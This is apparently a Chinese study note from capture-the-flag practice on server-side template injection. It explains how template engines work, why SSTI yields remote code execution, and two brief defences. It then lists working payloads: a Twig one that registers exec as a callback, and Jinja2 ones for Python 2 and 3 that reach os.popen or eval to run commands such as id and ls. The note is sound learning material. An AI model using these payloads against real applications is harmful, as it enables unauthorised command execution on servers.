[TOC]

之前做了一些模板注入的题目,现在将一些知识点补充完整。

模板引擎(SST)

SST简介

SSTI:Server Side Template Injection,服务端模板注入。

James Kettle在2015年黑帽大会上进行的演讲,为多个模板引擎的漏洞利用技术奠定了坚实的基础。

模板引擎是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

image-20210822215737694

HTML界面没有实际内容,访问这个页面时就需要将变量转换成预期的内容,这时就需要模板引擎,常见的模板引擎有Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig

PHP等脚本语言所编写的代码访问SST,SST通过正则匹配产生一个新的缓存的HTML页面,从而实现数据与页面的分离,

也就是PHP代码与HTML代码的分离。

SST为何会产生漏洞危险?

SST信任用户的输入,并执行输入的内容,在未加过滤的前提下很可能执行本机函数,SSTI就产生了RCE和信息泄露的问题,和SQL注入有点相似。

如何防御SSTI?

1、尽量加载静态模板文件。

2、不允许控制此类文件或其内容的路径。

识别模板引擎:

C#(StringTemplate,Sharepoint上动态使用的ASPX)

Java(Velocity、Freemarker、Pebble、Thymeleaf和Jinjava)

PHP(Twig、Smarty、Dwoo、Volt、Blade、Plates、Mustache、Python、Jinja2、Tornado、mustache和String Template)

Go (text/template)

不同模板对应不同的payload,当然他们都是已知的。盲目测试不如某种程度的置信度来确认更好。

James Kettles所提出的决策树:

image-20210822222059884

两个常见的模板库:

Twig(PHP):

Twig中文文档

Twig作为PHP最流行的模板库,由Synfony(PHP框架)的创建者开发。

twig提供了一个_self,它可以调用env(env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置)

不过call_user_function()函数一般被php禁用了,不过有一个getFile() 可以调用call_user_function()
image-20210822223703415

然后利用registerUnderfinedFilterCallback()函数将exec作为回调函数传进去。

image-20210822223758134

到这里payload就创建成功了,只需要在后面加上执行命令即可。

payload:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Jinjia2(Python-Flask):

Jinja2.10.x Documention

Jinja是Python中一个流行的模板引擎,它与Django模板非常相似。不过,与Django模板相比,Jinsa可以轻松地在运行时动态使用。Django模板被设计为存储在静态文件中的动态视图。

payload:

python2_任意执行:

#(system函数换为popen('').read(),需要导入os模块)  
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
#(不需要导入os模块,直接从别的模块调用)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
#常用的py2 EXP
().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

python3_任意执行:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

参考文档:

https://www.cnblogs.com/gzs-monkey/p/10727330.html

SSTI模板注入

SSTI模板注入